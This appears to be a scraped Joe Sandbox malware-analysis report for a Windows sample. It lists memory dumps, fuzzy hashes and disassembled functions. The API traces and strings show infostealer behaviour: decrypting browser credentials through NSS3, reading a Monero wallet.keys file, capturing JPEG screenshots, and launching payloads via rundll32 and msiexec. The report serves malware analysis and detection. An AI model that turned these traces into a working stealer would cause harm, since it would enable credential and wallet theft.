Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 043ab052e1613c786475c0f13c75e1e87b0abe25775067669805452b9b401013
Instruction ID: e57e3ed8bd4ded787e86d3b1bf9fb0adf6ce940558564a7914fcf903b0ff1db0
Opcode Fuzzy Hash: 043ab052e1613c786475c0f13c75e1e87b0abe25775067669805452b9b401013
Instruction Fuzzy Hash: 3D5148F3A182109BF3085E2DDC9572AB6D6DB84360F2B453EEEC8D7780E9795C058285

Function 006B3B75 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff9746307d6e2a9afcf19ff0c608860bff9cecf68d7dae08ae37e6262cb1f39f
Instruction ID: 38dc26ab26e8d9b92fcfc56e312162facc08a86658c7c329dd2d863d22c4c37e
Opcode Fuzzy Hash: ff9746307d6e2a9afcf19ff0c608860bff9cecf68d7dae08ae37e6262cb1f39f
Instruction Fuzzy Hash: 044134F3A182045FF3105D39EC8476B7ADAE7C9331F2A863CEA5487788E83D580A4254

Function 007401B1 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edc559663d57f644646e7886a6916196a3c1f481bfbec15e0f2f9bafee3618d0
Instruction ID: f1b2309010ba3d2231f45a96c67a78216de867f04e072dfc132ee6102826f0bb
Opcode Fuzzy Hash: edc559663d57f644646e7886a6916196a3c1f481bfbec15e0f2f9bafee3618d0
Instruction Fuzzy Hash: 733105B2A083089FE3147A19DC4576AB3D6EFD4320F1A853DDBD443794ED796905828A

Function 0077509D Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8ebad36e71220688f58b58b273bb3044c1a62c97b17f0511ef243db3d8093a
Instruction ID: 6f13fe35ba78c4c71df2f71702b0eb86c92c4f42eeead3c1b391e71d10fb724f
Opcode Fuzzy Hash: 6a8ebad36e71220688f58b58b273bb3044c1a62c97b17f0511ef243db3d8093a
Instruction Fuzzy Hash: B211A3F7E64B154BF34858B8DC893926182D7A4320F2FC6388F78D76C5ED7D89011284

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 0040C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C9A5

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,013FD960,00000000,?,0042144C,00000000,?,?), ref: 0040CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,013FDAB0,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,013FD948), ref: 0040CB1E
StrStrA.SHLWAPI(?,013FE190,00000000,?,00421458,00000000,?,00000000,00000000,?,013F8980,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,013FE2D0), ref: 0040CCB9

Part of subcall function 0040C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
Part of subcall function 0040C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
Part of subcall function 0040C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
Part of subcall function 0040C820: PK11_FreeSlot.NSS3(?), ref: 0040C961

StrStrA.SHLWAPI(?,013FE2D0,00000000,?,0042145C,00000000,?,00000000,013F8A80), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,013F8BA0), ref: 0040CD71

Part of subcall function 0040C820: lstrcat.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcat.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcat.KERNEL32(?,00420B4E), ref: 0040C978

lstrlen.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C
NSS_Shutdown.NSS3 ref: 0040CEAA

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: a4c7220023afd9789d0e7daac14080bc8eb4aeb1f4bac48f53e8eeddc32f28c1
Instruction ID: 4f2651a692f464b18a42b0bcae18c406b7e0862a9f2e1b7d5be7ba602bd9a43f
Opcode Fuzzy Hash: a4c7220023afd9789d0e7daac14080bc8eb4aeb1f4bac48f53e8eeddc32f28c1
Instruction Fuzzy Hash: A6E14F71911108ABCB14FBA1DC91FEEB779AF14314F40415EF10673191EF386A9ACB6A

Function 00419010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: f5c4b05b5f129189bf75ebe4b4d95923e79616d26f7a1e32a41657c077cd1d7d
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: f5c4b05b5f129189bf75ebe4b4d95923e79616d26f7a1e32a41657c077cd1d7d
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 004117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 02eb30d323830e1d30711e42bed63bae189cf4187b23999ffc44959b98dd1b2a
Instruction ID: 2815ad65cd7a038240dadca02f6420e2b4d1b90f705e159bc83ba900cea6f3dc
Opcode Fuzzy Hash: 02eb30d323830e1d30711e42bed63bae189cf4187b23999ffc44959b98dd1b2a
Instruction Fuzzy Hash: B1516CB4A20209EFCB04DFA0D954BFE77B5BF44304F10804AE516A7361D778E992CB6A

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

.dll, xrefs: 004131E5
C:\Windows\system32\rundll32.exe, xrefs: 00413332
/passive, xrefs: 0041345B
.msi, xrefs: 00413398
/i ", xrefs: 004133E4
"" , xrefs: 0041309A
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
<, xrefs: 00413490

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
